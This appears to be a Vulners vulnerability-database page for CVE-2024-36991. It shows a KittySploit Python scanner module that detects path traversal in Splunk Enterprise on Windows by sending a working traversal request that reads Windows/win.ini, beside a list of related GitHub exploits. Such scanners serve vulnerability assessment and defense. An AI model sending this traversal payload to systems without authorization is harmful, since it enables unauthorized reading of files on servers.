Splunk Enterprise - Local File Inclusion Detection
| Reporter | Title | Published | Views | Family All 36 |
|---|---|---|---|---|
 | Exploit for Path Traversal in Splunk | 31 Mar 202504:24 | – | githubexploit |
| Exploit for Path Traversal in Splunk | 6 Jul 202417:15 | – | githubexploit |
| Exploit for Path Traversal in Splunk | 30 Mar 202521:11 | – | githubexploit |
| Exploit for Path Traversal in Splunk | 6 Jul 202400:49 | – | githubexploit |
| Exploit for Path Traversal in Splunk | 6 Jul 202415:24 | – | githubexploit |
| Exploit for Path Traversal in Splunk | 30 Mar 202514:50 | – | githubexploit |
| Exploit for Path Traversal in Splunk | 30 Mar 202521:11 | – | githubexploit |
| Exploit for Path Traversal in Splunk | 6 Jul 202503:50 | – | githubexploit |
| Exploit for Path Traversal in Splunk | 20 Mar 202622:48 | – | githubexploit |
| Exploit for Path Traversal in Splunk | 6 Jul 202401:00 | – | githubexploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""In Splunk Enterprise on Windows versions below 9."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Splunk Enterprise - Local File Inclusion Detection',
'description': 'In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2024', 'splunk', 'lfi', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://x.com/sheikhrishad0/status/1809210005125746880/photo/1',
'https://x.com/chybeta/status/1809249794122215557/photo/1',
'https://nvd.nist.gov/vuln/detail/CVE-2024-36991',
],
'cve': 'CVE-2024-36991',
}
def run(self):
path = '/en-US/login'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('Splunk Inc.',)
if not (any(m in body for m in body_any)):
return False
path = '/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('bit app support', 'fonts', 'extensions',)
if all(m in body for m in body_all):
self.set_info(severity='high', reason='Splunk Enterprise - Local File Inclusion detected', path=path)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
7.5High risk
Vulners AI Score7.5
CVSS 3.17.5
EPSS0.13006
SSVC